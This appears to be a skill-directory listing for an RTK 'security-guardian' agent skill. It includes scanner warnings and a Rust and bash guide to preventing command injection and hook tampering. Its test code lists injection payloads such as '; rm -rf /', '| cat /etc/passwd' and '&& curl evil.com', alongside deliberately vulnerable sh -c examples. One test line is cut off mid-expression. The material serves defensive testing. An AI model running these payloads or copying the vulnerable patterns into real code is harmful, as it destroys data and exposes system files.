security-guardian skill
CLI security expert for RTK - command injection, shell escaping, hook security
Is the security-guardian skill safe?
A critical finding: do not install it without reading the flagged line. We read 1 file in the folder on 2026-11-10.
- high
SKILL.md:171Deletes the home or root directory, or wipes a disk.
"; rm -rf /", - high
SKILL.md:172Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
"| cat /etc/passwd", - low
SKILL.md:1The name should be 1 to 64 lowercase letters, digits or hyphens.
(missing)
Install the security-guardian skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description. Read the findings above first.
git clone --depth 1 https://github.com/rtk-ai/rtk.git /tmp/rtk mkdir -p ~/.claude/skills cp -r /tmp/rtk/.claude/skills/security-guardian ~/.claude/skills/security-guardian
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on command injection, shell escaping, hook security, and malicious input handling.
When to Use
- Automatically triggered: After filter changes, shell command execution logic, hook modifications
- Manual invocation: Before release, after security-sensitive code changes
- Proactive: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that:
- Executes shell commands based on user input
- Parses untrusted command output (git, cargo, gh, etc.)
- Integrates with Claude Code hooks (rtk-rewrite.sh, rtk-suggest.sh)
- Routes commands transparently (command injection vectors)
Threat Categories
Security Analysis Workflow
1. Threat Identification
Questions to ask for every code change:
Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?
Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?
Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?
Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?2. Code Audit Patterns
Command Injection Detection:
// 🔴 CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // Attacker can inject: `; rm -rf /`
.spawn();
// ✅ SAFE: Use Command builder, not shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Safely passed as argument, not interpreted by shell
.spawn();Shell Escaping Vulnerability:
// 🔴 CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEROUS: args not escaped
.output()
}
// ✅ SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Safely escaped by Command API
.output()
}Malicious Output Handling:
// 🔴 CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panic if empty!
let hash = &first_line[7..47]; // Panic if line too short!
hash.to_string()
}
// ✅ SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}Hook Injection Prevention:
# 🔴 CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh
# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
# ✅ SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh
# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Error: Not running in Claude Code context"
exit 1
fi
# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
echo "Error: rtk binary not found"
exit 1
fi
# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"3. Security Testing
Command Injection Tests:
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Malicious input: attempt shell injection
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// Should NOT execute injected commands
let result = execute_command("git", &["log", input]);
// Either:
// 1. Returns error (command fails safely), OR
// 2. Treats input as literal string (no shell interpretation)
// Both acceptable - just don't execute injection!
}
}
#[test]
fn test_shell_escaping() {
// Special characters that need escaping
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// Escaped version should NOT be interpreted by shell
assert!(!escaped.contains(char) || escaMalicious Output Tests:
#[test]
fn test_malicious_output_handling() {
// Malformed outputs that could crash RTK
let malicious_outputs = vec![
"", // Empty
"\n\n\n", // Only newlines
"x".repeat(1_000_000), // 1MB of 'x' (memory exhaustion)
"\x00\x01\x02", // Binary data
"\u{FFFD}".repeat(1000), // Unicode replacement chars
];
for output in malicious_outputs {
let result = filter_git_log(&output);
// Should either:
// 1. Return Ok with filtered output, OR
// 2. Return Err (graceful failure)
// Both acceptable - just don't panic!
assert!(result.is_ok() || result.is_err());
}
}Security Vulnerabilities Checklist
Command Injection (🔴 Critical)
- [ ] No shell=true: Never use .arg("-c") with user input
- [ ] Command builder: Use std::process::Command API (not shell strings)
- [ ] Input validation: Validate/sanitize before command execution
- [ ] Whitelist approach: Only allow known-safe commands
Detection:
# Find dangerous shell execution
rg "\.arg\(\"-c\"\)" --type rust src/
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
rg "format!.*\{.*Command" --type rust src/Shell Escaping (🔴 Critical)
- [ ] Platform-specific: Test escaping on macOS, Linux, Windows
- [ ] Special chars: Handle ;, |, &, $, , \, ", ', \n
- [ ] Use shell-escape crate: Don't roll your own escaping
- [ ] Cross-platform tests: #[cfg(target_os = "...")] tests
Detection:
# Find potential escaping issues
rg "format!.*\{.*args" --type rust src/
rg "\.join\(\" \"\)" --type rust src/Hook Security (🟡 High)
- [ ] Permission checks: Verify hooks are executable (-rwxr-xr-x)
- [ ] Source validation: Only execute hooks from .claude/hooks/
- [ ] Environment validation: Check $CLAUDECODEHOOKBASHTEMPLATE
- [ ] No dynamic evaluation: No eval or source of untrusted files
Hook security checklist:
#!/bin/bash
# rtk-rewrite.sh
# 1. Verify Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
exit 1
fi
# 2. Verify RTK binary exists
if ! command -v rtk >/dev/null 2>&1; then
exit 1
fi
# 3. Use absolute path (prevent PATH hijacking)
RTK_BIN=$(which rtk)
# 4. Validate RTK version (prevent downgrade attacks)
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
echo "Warning: RTK version mismatch"
fi
# 5. Execute with explicit path
"$RTK_BIN" "$@"Malicious Output (🟡 Medium)
- [ ] No .unwrap(): Use Result for parsing, graceful error handling
- [ ] Bounds checking: Verify string lengths before slicing
- [ ] Regex timeouts: Prevent ReDoS (Regular Expression Denial of Service)
- [ ] Memory limits: Cap output size before parsing
Parsing safety pattern:
fn safe_parse(output: &str) -> Result<String> {
// 1. Check output size (prevent memory exhaustion)
if output.len() > 10_000_000 {
bail!("Output too large (>10MB)");
}
// 2. Validate format (prevent malformed input)
if !output.starts_with("commit ") {
bail!("Invalid git log format");
}
// 3. Bounds checking (prevent panics)
let first_line = output.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty output"))?;
if first_line.len() < 47 {
bail!("Commit hash too short");
}
// 4. Safe extraction
Ok(first_line[7..47].to_string())
}Security Best Practices
Input Validation
Whitelist approach (safer than blacklist):
fn validate_command(cmd: &str) -> Result<()> {
// ✅ SAFE: Whitelist known-safe commands
const ALLOWED_COMMANDS: &[&str] = &[
"git", "cargo", "gh", "pnpm", "docker",
"rustc", "clippy", "rustfmt",
];
if !ALLOWED_COMMANDS.contains(&cmd) {
bail!("Command '{}' not allowed", cmd);
}
Ok(())
}
// ❌ UNSAFE: Blacklist approach (easy to bypass)
fn validate_command_unsafe(cmd: &str) -> Result<()> {
const BLOCKED: &[&str] = &["rm", "dd", "mkfs"];
if BLOCKED.contains(&cmd) {
bail!("Command '{}' blocked", cmd);
}
Ok(())
// Attacker can use: /bin/rm, rm.exe, RM (case variation), etc.
}Shell Escaping
Use dedicated library:
use shell_escape::escape;
fn escape_arg(arg: &str) -> String {
// ✅ SAFE: Use battle-tested escaping library
escape(arg.into()).into()
}
// ❌ UNSAFE: Roll your own escaping (likely has bugs)
fn escape_arg_unsafe(arg: &str) -> String {
arg.replace('"', r#"\""#) // Misses many special chars!
}Platform-specific escaping:
#[cfg(target_os = "windows")]
fn escape_for_shell(arg: &str) -> String {
// PowerShell escaping
format!("\"{}\"", arg.replace('"', "`\""))
}
#[cfg(not(target_os = "windows"))]
fn escape_for_shell(arg: &str) -> String {
// Bash/zsh escaping
shell_escape::escape(arg.into()).into()
}Secure Command Execution
Always use Command builder:
use std::process::Command;
// ✅ SAFE: Command builder (no shell)
fn execute_git(args: &[&str]) -> Result<Output> {
Command::new("git")
.args(args) // Safely escaped
.output()
.context("Failed to execute git")
}
// ❌ UNSAFE: Shell string concatenation
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
let cmd = format!("git {}", args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&cmd) // Shell interprets args!
.output()
}Security Audit Command Reference
Find potential vulnerabilities:
# Command injection
rg "\.arg\(\"-c\"\)" --type rust src/
rg "format!.*Command" --type rust src/
# Shell escaping
rg "\.join\(\" \"\)" --type rust src/
rg "format!.*\{.*args" --type rust src/
# Unsafe unwraps (can panic on malicious input)
rg "\.unwrap\(\)" --type rust src/
# Bounds violations
rg "\[.*\.\.\.\]" --type rust src/
rg "\[.*\.\.]" --type rust src/
# Hook security
rg "eval|source" --type bash .claude/hooks/Incident Response
If vulnerability discovered:
More skills from rtk-ai/rtk
- Acode-simplifierReview RTK Rust code for idiomatic simplification. Detects over-engineering, unnecessary allocations, verbose patterns. Applies Rust idioms without changing behavior.
- Adesign-patternsRust design patterns for RTK. Newtype, Builder, RAII, Trait Objects, State Machine. Applied to CLI filter modules. Use when designing new modules or refactoring existing ones.
- Aissue-triageIssue triage: audit open issues, categorize, detect duplicates, cross-ref PRs, risk assessment, post comments. Args: "all" for deep analysis of all, issue numbers to focus (e.g. "42 57"), "en"/"fr" for language, no arg = audit only in French.
- AperformanceCLI performance optimization - startup time, memory usage, token savings benchmarking
- Apr-reviewBatch review des PRs RTK par ordre de complexité croissante (XS → S → M → L). Pour chaque PR : vérifie l'état (conflits, CLA, reviews), lit le diff complet, analyse le code en contexte, présente un résumé avec lien + taille + recommandation. Attend validation explicite avant tout merge. Poste des commentaires boldguy-adapt sur les PRs bloquées (conflit, CLA, CHANGES_REQUESTED). Args: "triage" pour lancer un triage complet avant la review. "from:<num>" pour reprendre à partir d'un numéro de PR spécifique.
- Apr-triagePR triage: audit open PRs, deep review selected ones, draft and post review comments. Args: "all" to review all, PR numbers to focus (e.g. "42 57"), "en"/"fr" for language, no arg = audit only in French.
- Arepo-recapGenerate a comprehensive repo recap (PRs, issues, releases) for sharing with team. Pass "en" or "fr" as argument for language (default fr).
- Drtk-tddEnforces TDD (Red-Green-Refactor) for Rust development. Auto-triggers on implementation, testing, refactoring, and bug fixing tasks. Provides Rust-idiomatic testing patterns with anyhow/thiserror, cfg(test), and Arrange-Act-Assert workflow.
- Artk-triageTriage complet RTK : exécute issue-triage + pr-triage en parallèle, puis croise les données pour détecter doubles couvertures, trous sécurité, P0 sans PR, et conflits internes. Sauvegarde dans claudedocs/RTK-YYYY-MM-DD.md. Args: "en"/"fr" pour la langue (défaut: fr), "save" pour forcer la sauvegarde.
- AshipBuild, commit, push & version bump workflow - automates the complete release cycle
- Atdd-rustTDD workflow for RTK filter development. Red-Green-Refactor with Rust idioms. Real fixtures, token savings assertions, snapshot tests with insta. Auto-triggers on new filter implementation.